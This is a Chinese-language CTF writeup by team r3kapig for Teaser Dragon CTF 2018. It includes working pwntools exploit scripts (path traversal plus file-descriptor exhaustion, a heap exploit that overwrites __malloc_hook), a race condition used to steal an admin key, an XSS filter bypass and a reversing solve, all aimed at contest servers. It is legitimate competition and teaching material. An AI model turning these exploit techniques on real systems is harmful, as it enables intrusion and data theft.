我们是由Eur3kA和flappypig组成的联合战队r3kapig。本周末,我们部分队员以娱乐心态参与了Dragon Sector举办的Teaser Dragon CTF 2018 ,没想到以第十名的成绩成功晋级11月在波兰举办的Dragon CTF 2018 Final。不过很不幸的是,我们在比赛结束之后没多久就解出了两道题,这使得我们错过了一波让排名更高的机会。我们决定把我们赛时做出来的题目外加赛后做出的两道题的writeup发出来分享给大家。
另外我们战队目前正在招募队员,欢迎想与我们一起玩的同学加入我们,尤其是Misc/Crypto的大佬,有意向的同学请联系[email protected]。给大佬们递茶。
这个是一道非常有意思的题目,考验了一个选手的细心度(显然我们队的都是大老粗)
题目文件可以在https://github.com/Changochen/CTF/tree/master/2018/teaserDrangon 找到。
题目只有一个lyrics.cc
,逻辑大概就是限制了你读flag
的可能
其中的一个很重要的点是:源码中的assert
在远程的binary里面被去掉了。怎么能发现这一点呢,在write
里面可以很容易发现,如果你输入的长度不对,程序不会abort
得知了这个后,我们就很容易做了。
./data/../lyrics
,然后读到有DrgnS
./data/The Beatles/Girl
fd
的数量是31(why?stdin,stdout,stderr!),我们打开./data/../flag
, 绕过了第一个检查flag
,再读那首歌就可以了。英文版的wp可以在https://changochen.github.io/2018/09/29/Teaser-Dragon-CTF-2018/ 找到
from pwn import *
remote_addr=['lyrics.hackable.software',4141]
#context.log_level=True
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def cmd(command):
sla("> ",command)
def bands():
cmd("bands")
def songs(band):
cmd("songs")
sla("Band: ",band)
def _open(band,song):
cmd("open")
sla("Band: ",band)
sla("Song: ",song)
def _read(idx):
cmd("read")
sla("ID: ",str(idx))
def _write(idx,content):
cmd("write")
sla("ID: ",str(idx))
sla("length: ",str(len(content)+1))
sa(": ",content)
def _close(idx):
cmd("close")
sla("ID: ",str(idx))
if __name__ == '__main__':
for i in xrange(16):
_open("..",'lyrics')
for i in xrange(16):
for j in xrange(24):
_read(0)
for i in xrange(12):
_open('The Beatles','Girl')
_open("..",'flag')
for i in xrange(31):
_read(0)
_read(12)
_read(0)
p.interactive()
题目文件可以在https://github.com/Changochen/CTF/tree/master/2018/teaserDrangon 找到。
考了一个冷门知识: abs(0x80000000)=0x80000000
代码中
v2 = hash1(name);
v3 = hash2((unsigned __int8 *)name);
v4 = hash3(name);
idx = abs(v2) % 62;
add_entries(idx, name, value);
return add_bitmaps(idx, v3, v4);
如果hash1
返回0x8000000
,那么idx
就是-2
,使得bitmaps[]
和entries[]
重合,这样我们就可以通过操作bitmaps
来leak和修改entries
很简单,利用
char *__fastcall find_by_name(unsigned __int8 *a1)
{
int v1; // ST24_4
char v2; // ST20_1
char v3; // al
int v5; // [rsp+24h] [rbp-Ch]
struct Entry *i; // [rsp+28h] [rbp-8h]
v1 = hash1((char *)a1);
v2 = hash2(a1);
v3 = hash3(a1);
v5 = abs(v1) % 62;
if ( !(unsigned int)check(v5, v2, v3) )
return 0LL;
for ( i = entries[v5]; i && strcmp(i->name, (const char *)a1); i = i->next )
;
return i->value;
中的check
, 它会判断bitmaps
中某一位是不是设置了,这样我们就可以bit by bit
的leak出一个堆地址。
有了堆地址,我们就可以伪造entry
了。有堆溢出我们可以为所欲为。怎么leak出libc
呢?改top size
啊
z3辅助脚本
## more.py
#!/usr/bin/env python
# coding=utf-8
from z3 import *
import sys
s = Solver()
a = BitVec("a", 32)
b = BitVec("b", 32)
c = BitVec("c", 32)
d = BitVec("d", 32)
e = BitVec("e", 32)
f = BitVec("f", 32)
g = BitVec("g", 32)
h = BitVec("h", 32)
i = BitVec("i", 32)
i=(((((0x1337*a+1)*b+1)*c+1)*d+1)*g+1)*h+1
s.add(a<256,b<256,c<256,d<256,g<256,h<256,i<=0x7eFFFFFF)
s.add(a>0,b>0,c>0,d>0,g>0,h>0,i>0)
tmp=int(sys.argv[1])
if(tmp>=32):
s.add(i%62==61)
tmp-=32
else:
s.add((i+2)%62==0)
e=((b<<8)+a)^((d<<8)+c)^((h<<8)+g)
s.add((((e >> 10) ^((e ^ (e >> 5))&0xFF))&0x1f)==tmp)
f=0
for w in range(8):
f=f+((a>>w)&0x1)
f=f+((b>>w)&0x1)
f=f+((c>>w)&0x1)
f=f+((d>>w)&0x1)
f=f+((g>>w)&0x1)
f=f+((h>>w)&0x1)
s.add((f&0x1f)==tmp)
if(s.check()):
m=s.model()
print(m[a]+m[b]+m[c]+m[d]+m[g]+m[h])
利用脚本
from pwn import *
import os
local=0
pc='./faststorage'
pc='/tmp/pwn/faststorage_debug'
remote_addr=['faststorage.hackable.software',1337]
aslr=False
#context.log_level=True
payload=open("payload",'rb').read()
libc=ELF('./libc.so.6')
if local==1:
p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
#p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("> ",str(idx))
def add_entry(name,size,value):
choice(1)
sa(":",name)
sla(":",str(size))
sa(":",value)
def edit_entry(name,value):
choice(3)
sa(":",name)
sa(":",value)
def print_entry(name):
choice(2)
sa(":",name)
def getcheck(idx):
global payload
res=''
if idx<12:
payloads=os.popen("python more.py "+str(idx)).read().strip('\n')
payloads=payloads.split(' + ')
for i in payloads:
res+=p8(int(i))
else:
return payload[(idx-12)*6:(idx-12)*6+6]
return res
if __name__ == '__main__':
thename='\xa1\xf8\xe6\xa9'
a=[]
for i in range(32):
a.append(getcheck(12+i))
add_entry(a[i],0x10,'123')
add_entry(thename,0x10,'fuckme')
res=0
for i in range(32):
print_entry(a[i])
if "No such entry!" in rl():
continue
res+=1<<(12+i)
heap_addr=res+0x500000000000
lg("heap addr",heap_addr)
pl=p64(0)*1+p64(heap_addr+0xc30)+p64(heap_addr+0xd38+(0x1000<<47))
add_entry(getcheck(5),0x80,pl)
edit_entry(thename,p64(0x2d1))
add_entry('1234',0x300,'1234')
print_entry(thename)
ru("Value: ")
rv(16)
libc_addr=raddr()-0x3c4e18
lg("libc_addr",libc_addr)
libc.address=libc_addr
pl=p64(0x21)+'1234\x00\x00\x00\x00'+p64(0)*4+p64(heap_addr+0xd40)+p64(libc.symbols['__malloc_hook']+(0x8<<48))
edit_entry(thename,pl)
edit_entry('1234',p64(libc.address+0xf1147))
p.interactive()
同理,英文版的wp可以在https://changochen.github.io/2018/09/29/Teaser-Dragon-CTF-2018/ 找到
硬核win32程序, 4个code作为密钥在%temp%目录下解密出一个子进程checker, checker校验final flag.
主程序连接服务器下载shellcode并执行, shellcode通过包含函数指针的结构体指针调用主程序中的函数(包括send,recv,exit等).
一共是86段shellcode, 全部有动态smc但解密套路相同, 通过ida脚本自动dump. 其中包括大量的通信上下文校验与反调试(ptrace, libc等), 过滤后剩下16段(0, 23, 26/33/84, 34/35/36/37, 49/50/51/52, 63, 74, 85).
shellcode有自身的context, 申请了内存后会将指针发送给服务器, 在后续的shellcode的中从服务器获取. 整个流程大量异步操作环环相扣, 不愧是chains of trust.
'''
#85
with open("data", "rb") as f: # dumped from the last shellcode
buf = f.read()
data = [bytearray(buf[i*40:i*40+32]) for i in xrange(26)]
def once(n):
key = \
[
0x9DF9, 0x65E, 0x3B94, 0xFAD9, 0xC3D9, 0xFE12, 0xA57B, 0x9089,
0x3FAF, 0xBB31, 0x4CAD, 0x1415, 0x74CD, 0xCF0A, 0x1CE1, 0xB55A,
0x54C6, 0x827F, 0x179D, 0x66D9, 0xFF80, 0x8126, 0x5579, 0x4AED,
0x5F7D, 0x430F, 0x2EE4, 0x129C, 0xDBCD, 0xEB50, 0x8DA8, 0xBDD1
]
a = []
for i in xrange(32):
v = ((n >> 1) | (n << 15)) & 0xFFFF
n = v ^ key[i]
a.append(n & 0xFF)
return bytearray(a)
t0 = []
for i in xrange(len(data)):
for j in xrange(0x10000):
if(once(j) == data[i]):
t0.append(j)
break
'''
#85
t0 = [18122, 16775, 21890, 24145, 22241, 26214, 13940, 13946, 13928, 13936, 13934, 13893, 10689, 5546, 5515, 5529, 5561, 5556, 5560, 5581, 16653, 16660, 16649, 16693, 16694, 16539]
t0 = map(lambda x: x^0x6666, t0) #74
sq = [0, 1, 2, 3, 4, 4, 4, 5, 6, 7, 8, 9, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 19, 20, 21, 22, 23, 24, 22, 25, 25]
t1 = map(lambda x: t0[x], sq)
#74
t2 = [[],[],[],[]]
for i in xrange(32):
t2[i/8].append(t1[i])
#49/50/51/52
t2[3] = map(lambda x: x-0x26FD, t2[3])
t2[2] = map(lambda x: x^0x73AB, t2[2])
for i in xrange(8):
t2[1][i] -= i + 0x4FA0
t2[0] = map(lambda x: x/123, t2[0])
#63
flag = []
for i in xrange(32):
flag.append(t2[i % 4][i / 4])
print(str(bytearray(flag)))
每个用户有一个key,用户可以添加note,然后note明文会和key异或后存储起来,查看时会用当前用户的key进行解密。id为1的note是admin写的,很明显拿到admin的key后解密这个note就行了。
题目给出了webapp.py的源码,但是没有给出backend.py的源码。读源码发现登录经过了两步:
首先是/login/user
@app.route('/login/user', methods=['POST'])
def do_login_user_post():
username = get_required_params("POST", ['login'])['login']
backend.cache_save(
sid=flask.session.sid,
value=backend.get_key_for_user(username)
)
state = backend.check_user_state(username)
if state > 0:
add_msg("user has {} state code ;/ contact backend admin ... ".format(state))
return do_render()
flask.session[K_LOGGED_IN] = False
flask.session[K_AUTH_USER] = username
return do_302("/login/auth")
这个函数分为两步:
backend.cache_save(
sid=flask.session.sid,
value=backend.get_key_for_user(username)
)
flask.session[K_LOGGED_IN] = False
flask.session[K_AUTH_USER] = username
添加note的逻辑如下,会根据sid从cache中取出key,然后和note明文异或加密并存储。
@app.route("/note/add", methods=['POST'])
@loginzone
def do_note_add_post():
text = get_required_params("POST", ["text"])["text"]
key = backend.cache_load(flask.session.sid)
if key is None:
raise WebException("Cached key")
text = backend.xor_1337_encrypt(
data=text,
key=key,
)
note = model.Notes(
username=flask.session[K_LOGGED_USER],
message=backend.hex_encode(text),
)
sql_session.add(note)
sql_session.commit()
add_msg("Done !")
return do_render()
如果在添加note的时候取出的key是admin的key,那么我们异或这个note的明文(自己输入的)和密文(可以查看)就能得到key。
我们利用/login/user的第一步操作(缓存当前用户sid对应的key)就可以修改key,即往/login/user传入login=admin即可。当然之后session[K_LOGGED_IN]会被设置为False,所以需要竞争。
具体操作流程(均在同一session下):
这个时候查看自己新添加的一系列note,找到用自己的key解不出的密文,说明该密文用admin的key加密了。如图,不知为何会登上一个叫seadog的号,不过密文是用admin的key进行加密的。
写脚本,解密id为1的note即可
a = '2ED0F9CDF3D3B08FCDCE032388DAE07C8E1B4B1298B7256AA31A3C1C1E4B5D5AE28196BF88174B1BF041E5897E941AA34F404BA28BBAA12A45726FBD6ACF45184DE9D7A0509A5B60EBA6AFC64FAF6CDBD3270000298DCB431D0C3CACBFF9B9F0B618FA5B'
b = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
c = '07D8B68CDB92A687DFC74217C9D7F47E84540A3C97BA3D2B8B5B3E1C110A4C54F09392ADC910461BF61AA4AC6D921591556D1AAFCB8495144C27748369FC101847D7C2A9508F6534FFB7BCF859FD3ED8863611400F9ECB56064C20EDF0B6F6B1BF1CBB522A91F0C9B2'
ans = ''
for i in range(0,200,2):
x = int(a[i:i+2],16)^97^int(c[i:i+2],16)
ans+=chr(x)
print(ans)
题目提供了源码,可发现对title和content进行了过滤,不允许'<','>',但是当传入的title或content是字典(对象)的时候是可以被绕过的。
例如{'a':'<'}即可绕过过滤
源链接